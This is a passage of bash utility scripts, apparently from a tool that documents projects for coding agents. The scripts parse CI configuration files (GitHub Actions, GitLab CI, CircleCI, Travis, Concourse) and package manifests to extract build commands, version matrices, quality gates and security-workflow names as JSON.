              done < "$f"
      
              # Extract run commands (handles both single-line and multiline YAML blocks)
              local in_multiline=false
              local run_indent=0
              while IFS= read -r line; do
                  if $in_multiline; then
                      # Calculate current line's indent (count leading spaces)
                      local current_indent=0
                      if [[ "$line" =~ ^([[:space:]]*) ]]; then
                          current_indent=${#BASH_REMATCH[1]}
                      fi
                      # Check if we've exited the multiline block (same or less indent, non-empty line)
                      if [[ -n "${line//[[:space:]]/}" ]] && (( current_indent <= run_indent )); then
                          in_multiline=false
                          # Re-check this line in case it contains a new run: command
                      else
                          # Inside multiline block - capture first meaningful command line
                          local trimmed="${line#"${line%%[![:space:]]*}"}"  # Trim leading whitespace
                          # Skip empty lines and comments
                          if [[ -n "$trimmed" ]] && [[ ! "$trimmed" =~ ^# ]]; then
                              all_commands+=("$trimmed")
                              in_multiline=false  # We only want the first command
                              continue
                          fi
                          continue
                      fi
                  fi
      
                  if [[ "$line" =~ ^([[:space:]]*)(-[[:space:]]+)?run:[[:space:]]*(.*) ]]; then
                      run_indent=${#BASH_REMATCH[1]}
                      local cmd="${BASH_REMATCH[3]}"
                      # Check if it's a multi-line indicator
                      if [[ "$cmd" == "|" ]] || [[ "$cmd" == "|-" ]] || [[ "$cmd" == "|+" ]]; then
                          in_multiline=true
                          continue
                      fi
                      # Single-line command - clean and add
                      cmd=$(echo "$cmd" | sed 's/^[[:space:]]*//; s/[[:space:]]*$//')
                      [ -n "$cmd" ] && all_commands+=("$cmd")
                  fi
              done < "$f"
          done
      
          # Deduplicate
          local unique_commands=()
          local unique_triggers=()
          local unique_jobs=()
      
          if [ ${#all_commands[@]} -gt 0 ]; then
              mapfile -t unique_commands < <(printf '%s\n' "${all_commands[@]}" | sort -u | head -20)
          fi
          if [ ${#triggers[@]} -gt 0 ]; then
              mapfile -t unique_triggers < <(printf '%s\n' "${triggers[@]}" | tr ',' '\n' | sort -u)
          fi
          if [ ${#jobs[@]} -gt 0 ]; then
              mapfile -t unique_jobs < <(printf '%s\n' "${jobs[@]}" | sort -u)
          fi
      
          # Build JSON arrays
          local files_json="[]"
          local commands_json="[]"
          local triggers_json="[]"
          local jobs_json="[]"
      
          [ ${#workflow_files[@]} -gt 0 ] && files_json=$(printf '%s\n' "${workflow_files[@]}" | jq -R . | jq -s .)
          [ ${#unique_commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${unique_commands[@]}" | jq -R . | jq -s .)
          [ ${#unique_triggers[@]} -gt 0 ] && triggers_json=$(printf '%s\n' "${unique_triggers[@]}" | jq -R . | jq -s .)
          [ ${#unique_jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${unique_jobs[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --argjson files "$files_json" \
              --argjson commands "$commands_json" \
              --argjson triggers "$triggers_json" \
              --argjson jobs "$jobs_json" \
              '{
                  workflow_files: $files,
                  triggers: $triggers,
                  jobs: $jobs,
                  run_commands: $commands
              }'
      }
      
      # Parse GitLab CI
      parse_gitlab_ci() {
          if [ ! -f ".gitlab-ci.yml" ]; then
              echo "{}"
              return
          fi
      
          local stages=()
          local jobs=()
          local commands=()
      
          # Extract stages
          local in_stages=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^stages: ]]; then
                  in_stages=true
                  continue
              fi
              if $in_stages && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then
                  stages+=("${BASH_REMATCH[1]}")
              elif $in_stages && [[ ! "$line" =~ ^[[:space:]] ]]; then
                  in_stages=false
              fi
          done < ".gitlab-ci.yml"
      
          # Extract job names (lines that start with a name and have a colon, not indented, not keywords)
          while IFS= read -r line; do
              if [[ "$line" =~ ^([a-zA-Z0-9_-]+): ]] && [[ ! "$line" =~ ^(stages|variables|default|include|workflow|image|services|before_script|after_script|cache): ]]; then
                  jobs+=("${BASH_REMATCH[1]}")
              fi
          done < ".gitlab-ci.yml"
      
          # Extract script commands
          local in_script=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]+script: ]]; then
                  in_script=true
                  continue
              fi
              if $in_script && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then
                  local cmd="${BASH_REMATCH[1]}"
                  cmd=$(echo "$cmd" | sed "s/^['\"]//;s/['\"]$//")
                  [ -n "$cmd" ] && commands+=("$cmd")
              elif $in_script && [[ ! "$line" =~ ^[[:space:]] ]]; then
                  in_script=false
              fi
          done < ".gitlab-ci.yml"
      
          # Build JSON arrays
          local stages_json="[]"
          local jobs_json="[]"
          local commands_json="[]"
      
          [ ${#stages[@]} -gt 0 ] && stages_json=$(printf '%s\n' "${stages[@]}" | jq -R . | jq -s .)
          [ ${#jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${jobs[@]}" | jq -R . | jq -s .)
          [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | sort -u | head -20 | jq -R . | jq -s .)
      
          jq -n \
              --argjson stages "$stages_json" \
              --argjson jobs "$jobs_json" \
              --argjson commands "$commands_json" \
              '{
                  stages: $stages,
                  jobs: $jobs,
                  script_commands: $commands
              }'
      }
      
      # Parse CircleCI
      parse_circleci() {
          if [ ! -f ".circleci/config.yml" ]; then
              echo "{}"
              return
          fi
      
          local jobs=()
          local commands=()
          local orbs=()
      
          # Extract orbs
          local in_orbs=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^orbs: ]]; then
                  in_orbs=true
                  continue
              fi
              if $in_orbs && [[ "$line" =~ ^[[:space:]]+([a-zA-Z0-9_-]+):[[:space:]]* ]]; then
                  orbs+=("${BASH_REMATCH[1]}")
              elif $in_orbs && [[ ! "$line" =~ ^[[:space:]] ]]; then
                  in_orbs=false
              fi
          done < ".circleci/config.yml"
      
          # Extract job names
          local in_jobs=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^jobs: ]]; then
                  in_jobs=true
                  continue
              fi
              if $in_jobs && [[ "$line" =~ ^[[:space:]]{2}([a-zA-Z0-9_-]+): ]]; then
                  jobs+=("${BASH_REMATCH[1]}")
              elif $in_jobs && [[ ! "$line" =~ ^[[:space:]] ]]; then
                  in_jobs=false
              fi
          done < ".circleci/config.yml"
      
          # Extract run commands (handles both single-line and multiline YAML blocks)
          local in_multiline=false
          local cmd_indent=0
          while IFS= read -r line; do
              if $in_multiline; then
                  # Calculate current line's indent
                  local current_indent=0
                  if [[ "$line" =~ ^([[:space:]]*) ]]; then
                      current_indent=${#BASH_REMATCH[1]}
                  fi
                  # Check if we've exited the multiline block
                  if [[ -n "${line//[[:space:]]/}" ]] && (( current_indent <= cmd_indent )); then
                      in_multiline=false
                  else
                      # Inside multiline block - capture first meaningful command line
                      local trimmed="${line#"${line%%[![:space:]]*}"}"
                      if [[ -n "$trimmed" ]] && [[ ! "$trimmed" =~ ^# ]]; then
                          commands+=("$trimmed")
                          in_multiline=false
                          continue
                      fi
                      continue
                  fi
              fi
      
              if [[ "$line" =~ ^([[:space:]]*)command:[[:space:]]*(.*) ]]; then
                  cmd_indent=${#BASH_REMATCH[1]}
                  local cmd="${BASH_REMATCH[2]}"
                  if [[ "$cmd" == "|" ]] || [[ "$cmd" == "|-" ]] || [[ "$cmd" == "|+" ]]; then
                      in_multiline=true
                      continue
                  fi
                  cmd=$(echo "$cmd" | sed 's/^[[:space:]]*//' | sed 's/[[:space:]]*$//')
                  [ -n "$cmd" ] && commands+=("$cmd")
              fi
          done < ".circleci/config.yml"
      
          # Build JSON arrays
          local jobs_json="[]"
          local commands_json="[]"
          local orbs_json="[]"
      
          [ ${#jobs[@]} -gt 0 ] && jobs_json=$(printf '%s\n' "${jobs[@]}" | jq -R . | jq -s .)
          [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | sort -u | head -20 | jq -R . | jq -s .)
          [ ${#orbs[@]} -gt 0 ] && orbs_json=$(printf '%s\n' "${orbs[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --argjson jobs "$jobs_json" \
              --argjson commands "$commands_json" \
              --argjson orbs "$orbs_json" \
              '{
                  orbs: $orbs,
                  jobs: $jobs,
                  run_commands: $commands
              }'
      }
      
      # Parse Travis CI
      parse_travis() {
          if [ ! -f ".travis.yml" ]; then
              echo "{}"
              return
          fi
      
          local commands=()
          local language=""
      
          # Extract language
          language=$(grep -E "^language:" ".travis.yml" 2>/dev/null | sed 's/language:[[:space:]]*//' | head -1 || echo "")
      
          # Extract script commands
          local in_script=false
          while IFS= read -r line; do
              if [[ "$line" =~ ^script: ]]; then
                  in_script=true
                  # Check if single-line script
                  if [[ "$line" =~ ^script:[[:space:]]+(.+) ]]; then
                      commands+=("${BASH_REMATCH[1]}")
                      in_script=false
                  fi
                  continue
              fi
              if $in_script && [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then
                  commands+=("${BASH_REMATCH[1]}")
              elif $in_script && [[ ! "$line" =~ ^[[:space:]] ]]; then
                  in_script=false
              fi
          done < ".travis.yml"
      
          local commands_json="[]"
          [ ${#commands[@]} -gt 0 ] && commands_json=$(printf '%s\n' "${commands[@]}" | jq -R . | jq -s .)
      
          jq -n \
              --arg language "$language" \
              --argjson commands "$commands_json" \
              '{
                  language: $language,
                  script_commands: $commands
              } | with_entries(select(.value != "" and .value != []))'
      }
      
      # Detect CI system
      CI_SYSTEM="none"
      if [ -d ".github/workflows" ]; then
          CI_SYSTEM="github-actions"
      elif [ -f ".gitlab-ci.yml" ]; then
          CI_SYSTEM="gitlab-ci"
      elif [ -f ".circleci/config.yml" ]; then
          CI_SYSTEM="circleci"
      elif [ -f ".travis.yml" ]; then
          CI_SYSTEM="travis-ci"
      elif [ -f "Jenkinsfile" ]; then
          CI_SYSTEM="jenkins"
      elif [ -f "azure-pipelines.yml" ]; then
          CI_SYSTEM="azure-pipelines"
      elif [ -f "bitbucket-pipelines.yml" ]; then
          CI_SYSTEM="bitbucket-pipelines"
      fi
      
      # Parse the detected CI system
      GITHUB_ACTIONS="{}"
      GITLAB_CI="{}"
      CIRCLECI="{}"
      TRAVIS="{}"
      
      case "$CI_SYSTEM" in
          "github-actions")
              GITHUB_ACTIONS=$(parse_github_actions)
              ;;
          "gitlab-ci")
              GITLAB_CI=$(parse_gitlab_ci)
              ;;
          "circleci")
              CIRCLECI=$(parse_circleci)
              ;;
          "travis-ci")
              TRAVIS=$(parse_travis)
              ;;
      esac
      
      # Build final JSON output
      jq -n \
          --arg ci_system "$CI_SYSTEM" \
          --argjson github_actions "$GITHUB_ACTIONS" \
          --argjson gitlab_ci "$GITLAB_CI" \
          --argjson circleci "$CIRCLECI" \
          --argjson travis "$TRAVIS" \
          '{
              ci_system: $ci_system,
              github_actions: $github_actions,
              gitlab_ci: $gitlab_ci,
              circleci: $circleci,
              travis: $travis
          }'
      
    • extract-ci-rules.sh 16 KB
      #!/usr/bin/env bash
      # Extract CI workflow rules that agents need to follow:
      # version matrices, quality gates, coverage thresholds, security workflows, linter configs, pinned actions
      set -euo pipefail
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # ---------------------------------------------------------------------------
      # Helpers
      # ---------------------------------------------------------------------------
      
      # Collect unique values into a bash array via a nameref
      # Usage: collect_unique arr_name "value"
      collect_unique() {
          local -n _arr="$1"
          local val="$2"
          for existing in "${_arr[@]+"${_arr[@]}"}"; do
              [[ "$existing" == "$val" ]] && return
          done
          _arr+=("$val")
      }
      
      # Turn a bash array into a JSON array via jq
      arr_to_json() {
          local -n _a="$1"
          if [[ ${#_a[@]} -eq 0 ]]; then
              echo "[]"
          else
              printf '%s\n' "${_a[@]}" | jq -R . | jq -s .
          fi
      }
      
      # Try yq first, fall back to grep/sed parsing
      has_yq() { command -v yq &>/dev/null; }
      
      # ---------------------------------------------------------------------------
      # GitHub Actions parsing
      # ---------------------------------------------------------------------------
      # shellcheck disable=SC2034  # the arrays below are read by NAME through
      # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow
      # that and reports every one of them as unused.
      parse_github_actions() {
          local wf_dir=".github/workflows"
          [[ -d "$wf_dir" ]] || { echo "{}"; return; }
      
          local php_versions=()
          local node_versions=()
          local go_version=""
          local python_versions=()
          local quality_gates=()
          local required_checks=()
          local linter_configs=()
          local security_workflows=()
          local coverage_threshold=""
          local pinned_actions=true
          local permissions=()
      
          for wf in "$wf_dir"/*.yml "$wf_dir"/*.yaml; do
              [[ -f "$wf" ]] || continue
              local basename
              basename=$(basename "$wf")
      
              # --- Security workflows ---
              case "$basename" in
                  codeql*|scorecard*|dependency-review*|trivy*|snyk*|semgrep*)
                      collect_unique security_workflows "$basename"
                      ;;
              esac
      
              local content
              content=$(<"$wf")
      
              # --- Pinned actions check ---
              # SHA-pinned: uses: foo/bar@<40-hex-chars>  (may have # vX.Y.Z comment)
              # NOT pinned: uses: foo/bar@v1.2.3 or @main
              # Exclude reusable workflow calls (.github/workflows/) — those often can't be SHA-pinned
              # Strategy: find all uses: lines, exclude reusable workflows, then check if any lack a 40-char hex SHA
              local unpinned_count
              unpinned_count=$(echo "$content" \
                  | grep -E '^[[:space:]]*uses:' \
                  | grep -vE '\.github/workflows/' \
                  | { grep -vE '@[0-9a-f]{40}' || true; } \
                  | wc -l)
              if [[ "$unpinned_count" -gt 0 ]]; then
                  pinned_actions=false
              fi
      
              # --- Permissions block ---
              while IFS= read -r line; do
                  if [[ "$line" =~ ^[[:space:]]+(contents|pull-requests|security-events|id-token|packages|actions|checks|issues|statuses|deployments):[[:space:]]+(read|write|none) ]]; then
                      local perm="${BASH_REMATCH[1]}: ${BASH_REMATCH[2]}"
                      collect_unique permissions "$perm"
                  fi
              done <<< "$content"
      
              # --- PHP version matrix ---
              # Matches patterns like: php: ['8.2', '8.3'] or php-version: ['8.2']
              # Also matrix entries like php: [8.2, 8.3]
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique php_versions "$ver"
              done < <(echo "$content" | grep -E '(php|php-version|php_version).*\[' | grep -oE "[0-9]+\.[0-9]+" || true)
      
              # Single php-version value
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique php_versions "$ver"
              done < <(echo "$content" | grep -E 'php-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+" || true)
      
              # --- Node version matrix ---
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique node_versions "$ver"
              done < <(echo "$content" | grep -E '(node|node-version|node_version).*\[' | grep -oE "[0-9]+" || true)
      
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique node_versions "$ver"
              done < <(echo "$content" | grep -E 'node-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+" || true)
      
              # --- Go version ---
              # go-version-file: go.mod  →  read from go.mod
              if echo "$content" | grep -qE 'go-version-file:'; then
                  if [[ -f "go.mod" ]]; then
                      local gv
                      gv=$(grep -E '^go ' go.mod | head -1 | awk '{print $2}')
                      [[ -n "$gv" ]] && go_version="$gv"
                  fi
              fi
              # Explicit go-version: 1.x
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && go_version="$ver"
              done < <(echo "$content" | grep -E 'go-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+[0-9.]*" | head -1 || true)
      
              # --- Python version matrix ---
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique python_versions "$ver"
              done < <(echo "$content" | grep -E '(python|python-version).*\[' | grep -oE "[0-9]+\.[0-9]+" || true)
      
              while IFS= read -r ver; do
                  ver=$(echo "$ver" | tr -d "\"' ")
                  [[ -n "$ver" ]] && collect_unique python_versions "$ver"
              done < <(echo "$content" | grep -E 'python-version:[[:space:]]*[0-9]' | grep -oE "[0-9]+\.[0-9]+" || true)
      
              # --- Quality gates (detect from job names and run commands) ---
              # PHPStan
              if echo "$content" | grep -qiE 'phpstan|phpstan\.neon'; then
                  # Try to extract level from the command line
                  local phpstan_level
                  phpstan_level=$(echo "$content" | grep -oE 'phpstan[[:space:]]+analyse.*--level[=[:space:]]*[0-9]+' | grep -oE '[0-9]+$' | head -1 || true)
                  if [[ -z "$phpstan_level" ]] && [[ -f "phpstan.neon" || -f "phpstan.neon.dist" || -f "phpstan.dist.neon" ]]; then
                      local neon_file
                      for neon_file in phpstan.neon phpstan.neon.dist phpstan.dist.neon; do
                          [[ -f "$neon_file" ]] || continue
                          phpstan_level=$(grep -E '^[[:space:]]*level:' "$neon_file" | head -1 | grep -oE '[0-9]+' || true)
                          [[ -n "$phpstan_level" ]] && break
                      done
                  fi
                  if [[ -n "$phpstan_level" ]]; then
                      collect_unique quality_gates "phpstan-level-${phpstan_level}"
                  else
                      collect_unique quality_gates "phpstan"
                  fi
              fi
      
              # PHPUnit / phpunit
              echo "$content" | grep -qiE 'phpunit|ci:test:php:unit' && collect_unique quality_gates "phpunit"
      
              # Rector
              echo "$content" | grep -qiE 'rector.*--dry-run|ci:test:php:rector' && collect_unique quality_gates "rector-dry-run"
      
              # PHP-CS-Fixer
              echo "$content" | grep -qiE 'php-cs-fixer|ci:test:php:cgl' && collect_unique quality_gates "php-cs-fixer"
      
              # golangci-lint
              echo "$content" | grep -qiE 'golangci-lint' && collect_unique quality_gates "golangci-lint"
      
              # ESLint
              echo "$content" | grep -qiE 'eslint' && collect_unique quality_gates "eslint"
      
              # Jest / Vitest
              echo "$content" | grep -qiE '\bjest\b|\bvitest\b' && collect_unique quality_gates "jest"
      
              # pytest
              echo "$content" | grep -qiE '\bpytest\b' && collect_unique quality_gates "pytest"
      
              # go test
              echo "$content" | grep -qE 'go test' && collect_unique quality_gates "go-test"
      
              # go vet
              echo "$content" | grep -qE 'go vet' && collect_unique quality_gates "go-vet"
      
              # govulncheck
              echo "$content" | grep -qiE 'govulncheck' && collect_unique quality_gates "govulncheck"
      
              # fuzz tests
              echo "$content" | grep -qE '\-fuzz=' && collect_unique quality_gates "fuzz-tests"
      
              # mutation testing
              echo "$content" | grep -qiE 'mutation|infection' && collect_unique quality_gates "mutation-testing"
      
              # CodeQL (also a security workflow)
              if echo "$content" | grep -qiE 'codeql'; then
                  collect_unique quality_gates "codeql"
                  collect_unique security_workflows "$basename"
              fi
      
              # Trivy
              if echo "$content" | grep -qiE 'trivy'; then
                  collect_unique quality_gates "trivy"
                  collect_unique security_workflows "$basename"
              fi
      
              # --- Coverage threshold ---
              # Patterns: THRESHOLD=60, --min-coverage=80, coverage-threshold: 80, fail_ci_if_error
              local threshold
              threshold=$(echo "$content" | grep -oE 'THRESHOLD=[0-9]+\.?[0-9]*' | head -1 | grep -oE '[0-9]+\.?[0-9]*' || true)
              [[ -n "$threshold" && -z "$coverage_threshold" ]] && coverage_threshold="${threshold}%"
      
              threshold=$(echo "$content" | grep -oE '(--min-coverage|coverage-threshold|minimum_coverage)[=:[:space:]]*[0-9]+' | head -1 | grep -oE '[0-9]+' || true)
              [[ -n "$threshold" && -z "$coverage_threshold" ]] && coverage_threshold="${threshold}%"
      
              # --- Required checks (from workflow names) ---
              local wf_name
              wf_name=$(echo "$content" | grep -E '^name:' | head -1 | sed 's/^name:[[:space:]]*//')
              [[ -n "$wf_name" ]] && collect_unique required_checks "$wf_name"
      
              # --- Linter config references ---
              for cfg in .php-cs-fixer.php .php-cs-fixer.dist.php phpstan.neon phpstan.neon.dist phpstan.dist.neon \
                         .eslintrc .eslintrc.js .eslintrc.json eslint.config.js eslint.config.mjs \
                         .golangci.yml .golangci.yaml .prettierrc .prettierrc.json \
                         ruff.toml .flake8 .pylintrc mypy.ini .mypy.ini \
                         .markdownlint.json .markdownlint-cli2.jsonc .yamllint.yml; do
                  if [[ -f "$cfg" ]]; then
                      collect_unique linter_configs "$cfg"
                  fi
              done
          done
      
          # Build JSON
          local php_json node_json python_json gates_json checks_json linters_json security_json perms_json
          php_json=$(arr_to_json php_versions)
          node_json=$(arr_to_json node_versions)
          python_json=$(arr_to_json python_versions)
          gates_json=$(arr_to_json quality_gates)
          checks_json=$(arr_to_json required_checks)
          linters_json=$(arr_to_json linter_configs)
          security_json=$(arr_to_json security_workflows)
          perms_json=$(arr_to_json permissions)
      
          jq -n \
              --arg ci_platform "github-actions" \
              --argjson php_versions "$php_json" \
              --argjson node_versions "$node_json" \
              --arg go_version "$go_version" \
              --argjson python_versions "$python_json" \
              --argjson quality_gates "$gates_json" \
              --arg coverage_threshold "$coverage_threshold" \
              --argjson required_checks "$checks_json" \
              --argjson pinned_actions "$pinned_actions" \
              --argjson linter_configs "$linters_json" \
              --argjson security_workflows "$security_json" \
              --argjson permissions "$perms_json" \
              '{
                  ci_platform: $ci_platform,
                  php_versions: $php_versions,
                  node_versions: $node_versions,
                  go_version: $go_version,
                  python_versions: $python_versions,
                  quality_gates: $quality_gates,
                  coverage_threshold: $coverage_threshold,
                  required_checks: $required_checks,
                  pinned_actions: $pinned_actions,
                  linter_configs: $linter_configs,
                  security_workflows: $security_workflows,
                  permissions: $permissions
              } | with_entries(select(.value != "" and .value != [] and .value != null))'
      }
      
      # ---------------------------------------------------------------------------
      # GitLab CI parsing
      # ---------------------------------------------------------------------------
      # shellcheck disable=SC2034  # the arrays below are read by NAME through
      # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow
      # that and reports every one of them as unused.
      parse_gitlab_ci() {
          [[ -f ".gitlab-ci.yml" ]] || { echo "{}"; return; }
      
          local content
          content=$(<".gitlab-ci.yml")
      
          local quality_gates=()
          local stages=()
      
          # Extract stages
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*(.+) ]]; then
                  local stage="${BASH_REMATCH[1]}"
                  stage=$(echo "$stage" | tr -d "\"' ")
                  collect_unique stages "$stage"
              fi
          done < <(sed -n '/^stages:/,/^[^[:space:]-]/p' ".gitlab-ci.yml" | tail -n +2)
      
          # Detect quality gates from script blocks
          echo "$content" | grep -qiE 'phpstan' && collect_unique quality_gates "phpstan"
          echo "$content" | grep -qiE 'phpunit' && collect_unique quality_gates "phpunit"
          echo "$content" | grep -qiE 'eslint' && collect_unique quality_gates "eslint"
          echo "$content" | grep -qiE 'jest|vitest' && collect_unique quality_gates "jest"
          echo "$content" | grep -qiE 'pytest' && collect_unique quality_gates "pytest"
          echo "$content" | grep -qiE 'golangci-lint' && collect_unique quality_gates "golangci-lint"
          echo "$content" | grep -qE 'go test' && collect_unique quality_gates "go-test"
      
          local stages_json gates_json
          stages_json=$(arr_to_json stages)
          gates_json=$(arr_to_json quality_gates)
      
          jq -n \
              --arg ci_platform "gitlab-ci" \
              --argjson stages "$stages_json" \
              --argjson quality_gates "$gates_json" \
              '{
                  ci_platform: $ci_platform,
                  stages: $stages,
                  quality_gates: $quality_gates
              } | with_entries(select(.value != "" and .value != [] and .value != null))'
      }
      
      # ---------------------------------------------------------------------------
      # Concourse CI parsing
      # ---------------------------------------------------------------------------
      # shellcheck disable=SC2034  # the arrays below are read by NAME through
      # collect_unique/arr_to_json, which take a nameref; shellcheck cannot follow
      # that and reports every one of them as unused.
      parse_concourse() {
          local pipeline_file=""
          for f in ci/pipeline.yml ci/pipeline.yaml pipeline.yml pipeline.yaml ci/*.yml; do
              [[ -f "$f" ]] && pipeline_file="$f" && break
          done
          [[ -z "$pipeline_file" ]] && { echo "{}"; return; }
      
          local content
          content=$(<"$pipeline_file")
      
          local resource_types=()
          local jobs=()
      
          # Extract resource types
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then
                  collect_unique resource_types "${BASH_REMATCH[1]}"
              fi
          done < <(sed -n '/^resource_types:/,/^[a-z]/p' "$pipeline_file" | tail -n +2)
      
          # Extract job names
          while IFS= read -r line; do
              if [[ "$line" =~ ^[[:space:]]*-[[:space:]]*name:[[:space:]]*(.+) ]]; then
                  collect_unique jobs "${BASH_REMATCH[1]}"
              fi
          done < <(sed -n '/^jobs:/,/^[a-z]/p' "$pipeline_file" | tail -n +2)
      
          local rt_json jobs_json
          rt_json=$(arr_to_json resource_types)
          jobs_json=$(arr_to_json jobs)
      
          jq -n \
              --arg ci_platform "concourse" \
              --arg pipeline_file "$pipeline_file" \
              --argjson resource_types "$rt_json" \
              --argjson jobs "$jobs_json" \
              '{
                  ci_platform: $ci_platform,
                  pipeline_file: $pipeline_file,
                  resource_types: $resource_types,
                  jobs: $jobs
              } | with_entries(select(.value != "" and .value != [] and .value != null))'
      }
      
      # ---------------------------------------------------------------------------
      # Detect CI platform and parse
      # ---------------------------------------------------------------------------
      if [[ -d ".github/workflows" ]]; then
          parse_github_actions
      elif [[ -f ".gitlab-ci.yml" ]]; then
          parse_gitlab_ci
      elif [[ -f "ci/pipeline.yml" || -f "ci/pipeline.yaml" || -f "pipeline.yml" || -f "pipeline.yaml" ]]; then
          parse_concourse
      else
          # No CI detected
          echo '{}'
      fi
      
    • extract-commands.sh 11.8 KB
      #!/usr/bin/env bash
      # Extract build commands from various build tool files
      set -euo pipefail
      
      SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
      # shellcheck source-path=SCRIPTDIR
      # shellcheck disable=SC1091  # the pre-commit hook runs shellcheck without
      # -x, so it cannot follow this source no matter how the path is written.
      source "$SCRIPT_DIR/lib/config-root.sh"
      
      PROJECT_DIR="${1:-.}"
      cd "$PROJECT_DIR"
      
      # Stack filter: node, php, go, python, or auto (default)
      STACK_FILTER="${2:-auto}"
      
      # Skip extraction functions based on stack
      should_extract_node() {
          [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "node" ]]
      }
      
      should_extract_php() {
          [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "php" ]]
      }
      
      should_extract_go() {
          [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "go" ]]
      }
      
      should_extract_python() {
          [[ "$STACK_FILTER" == "auto" || "$STACK_FILTER" == "python" ]]
      }
      
      # Get project info (use . since we already cd'd to PROJECT_DIR)
      PROJECT_INFO=$(bash "$SCRIPT_DIR/detect-project.sh" ".")
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      # shellcheck disable=SC2034  # BUILD_TOOL reserved for future build-tool-specific detection
      BUILD_TOOL=$(echo "$PROJECT_INFO" | jq -r '.build_tool')
      
      # Initialize command variables
      INSTALL_CMD=""
      TYPECHECK_CMD=""
      LINT_CMD=""
      FORMAT_CMD=""
      TEST_CMD=""
      TEST_SINGLE_CMD=""
      BUILD_CMD=""
      DEV_CMD=""
      
      # Detect package manager for Node.js projects
      # Workspace-aware: checks workspace root for lockfiles if in a monorepo
      PACKAGE_MANAGER="npm"
      detect_package_manager() {
          # First, check if we're in a workspace - lockfile will be at workspace root
          local workspace_root
          workspace_root=$(find_node_workspace_root "$(pwd)" || true)
          if [ -n "$workspace_root" ]; then
              if [ -f "$workspace_root/pnpm-lock.yaml" ]; then
                  PACKAGE_MANAGER="pnpm"
                  return
              elif [ -f "$workspace_root/yarn.lock" ]; then
                  PACKAGE_MANAGER="yarn"
                  return
              elif [ -f "$workspace_root/bun.lockb" ]; then
                  PACKAGE_MANAGER="bun"
                  return
              elif [ -f "$workspace_root/package-lock.json" ]; then
                  PACKAGE_MANAGER="npm"
                  return
              fi
          fi
      
          # Fallback: check local directory
          if [ -f "pnpm-lock.yaml" ]; then
              PACKAGE_MANAGER="pnpm"
          elif [ -f "yarn.lock" ]; then
              PACKAGE_MANAGER="yarn"
          elif [ -f "bun.lockb" ]; then
              PACKAGE_MANAGER="bun"
          elif [ -f "package.json" ]; then
              # Check packageManager field
              local pm_field
              pm_field=$(jq -r '.packageManager // empty' package.json 2>/dev/null | cut -d@ -f1)
              if [ -n "$pm_field" ]; then
                  PACKAGE_MANAGER="$pm_field"
              fi
          fi
      }
      
      # Get the run command for package manager
      get_pm_run() {
          case "$PACKAGE_MANAGER" in
              pnpm) echo "pnpm" ;;
              yarn) echo "yarn" ;;
              bun) echo "bun run" ;;
              *) echo "npm run" ;;
          esac
      }
      
      # Get the npx-equivalent for package manager
      get_pm_dlx() {
          case "$PACKAGE_MANAGER" in
              pnpm) echo "pnpm dlx" ;;
              yarn) echo "yarn dlx" ;;
              bun) echo "bunx" ;;
              *) echo "npx" ;;
          esac
      }
      
      # Extract from Makefile
      extract_from_makefile() {
          [ ! -f "Makefile" ] && return 0
      
          # Extract targets with ## comments
          while IFS= read -r line; do
              if [[ $line =~ ^([a-zA-Z_-]+):.*\#\#(.*)$ ]]; then
                  target="${BASH_REMATCH[1]}"
                  # description captured but not yet used (for future enhanced output)
                  # description="${BASH_REMATCH[2]}"
      
                  case "$target" in
                      lint|check) LINT_CMD="make $target" ;;
                      format|fmt) FORMAT_CMD="make $target" ;;
                      test|tests) TEST_CMD="make $target" ;;
                      build) BUILD_CMD="make $target" ;;
                      typecheck|types) TYPECHECK_CMD="make $target" ;;
                      dev|serve) DEV_CMD="make $target" ;;
                  esac
              fi
          done < Makefile
      }
      
      # Extract from package.json
      extract_from_package_json() {
          [ ! -f "package.json" ] && return 0
      
          # Detect package manager first
          detect_package_manager
      
          local pm_run pm_dlx
          pm_run=$(get_pm_run)
          pm_dlx=$(get_pm_dlx)
      
          # Set install command based on package manager
          INSTALL_CMD="$PACKAGE_MANAGER install"
      
          local typecheck_key has_lint has_format has_test has_build dev_key
          typecheck_key=$(package_script_key typecheck "type-check")
          has_lint=$(jq -r '.scripts.lint // empty' package.json 2>/dev/null)
          has_format=$(jq -r '.scripts.format // empty' package.json 2>/dev/null)
